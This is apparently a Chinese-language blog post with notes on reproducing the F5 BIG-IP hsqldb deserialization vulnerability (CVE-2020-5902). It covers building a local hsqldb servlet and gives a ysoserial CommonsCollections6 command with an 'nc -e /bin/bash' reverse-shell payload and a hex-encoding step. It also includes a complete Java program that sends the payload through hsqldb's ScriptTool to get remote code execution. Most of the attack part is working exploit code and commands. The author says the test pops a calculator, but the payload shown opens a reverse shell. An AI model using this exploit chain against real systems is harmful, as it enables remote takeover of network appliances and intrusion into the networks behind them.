F5 hsqldb漏洞踩坑笔记

长夏

2020-07-17

技术

反序列漏洞

看了下F5 hsqldb漏洞，在Github上可以找到POC，但是却一直复现不成功。原因是因为F5使用了HTTPS导致hsqldb连接失败。

看到了Longofo大佬写的F5 BIG-IP hsqldb(CVE-2020-5902)漏洞踩坑分析，大体思路是可以先本地搭建hsqlServlet，然后本地复现漏洞并抓取数据包，最后利用抓到的数据包重放到F5。自己按照文章里面的思路折腾了一篇，捣鼓大半天后终于成功了。这里记录一下复现的坑。

0x1 IDEA搭建hsqlServlet

这一步相对比较简单，hsqldb本身提供了Servlet模式，直接拿来用就行。

访问出现以下界面，环境搭建成功。

0x2 本地复现

这一步基本上就是按照Github上POC的流程走一遍。
从CVE-2020-5902.sh里提取出关键的两个过程，先尝试弹个计算器吧。

java -jar ysoserial-master-SNAPSHOT.jar \
     CommonsCollections6 \
     "/bin/nc -e /bin/bash $localip $port" > nc.class  #使用ysoserial生成POC，这里使用的payload是CommonsCollections6

xxd -p nc.class | xargs | sed -e 's/ //g' | dd conv=ucase 2>/dev/null > payload.hex  #生成十六进制编码的POC

稍微改一下f5RCE.java。运行后成功弹出计算器。

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.Statement;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.io.IOException;
import org.hsqldb.lib.StringConverter;

public class F5RCE {

    public static void main(String[] args) {
        Connection connection;
        Statement statement;
        String pfile = "/Users/xiashang/Downloads/CVE-2020-5902/payload.hex";

        String payload = null;
        try {
            payload = new String(Files.readAllBytes(Paths.get(pfile)));
            payload = payload.replaceAll("(\\n|\\r)","");
        } catch (IOException e) {
            e.printStackTrace();
        }

        String dburl = "jdbc:hsqldb:http://localhost:8090/helloworld_war_exploded/hsql/";

        try {
            Class.forName("org.hsqldb.jdbcDriver");
            connection = DriverManager.getConnection(dburl, "sa","");
            statement = connection.createStatement();
            statement.execute("call \"java.lang.System.setProperty\"('org.apache.commons.collections.enableUnsafeSerialization','true')");
            statement.execute("call \"org.hsqldb.util.ScriptTool.main\"('" + payload +"');");
        } catch (java.sql.SQLException sqle) {
            // ignore java.sql.SQLException: S1000
            // General error java.lang.IllegalArgumentException: argument type mismatch
            if(sqle.getSQLState().equals("S1000") && sqle.getErrorCode() == 40) {
                System.out.println("Payload executed");
            } else {
                System.out.println("Unexpected SQL error");
                sqle.printStackTrace();
            }
            return;
        }
        catch (ClassNotFoundException cne) {
            System.err.println("Error loading db driver");
            cne.printStackTrace();
            return;
        }
    }
}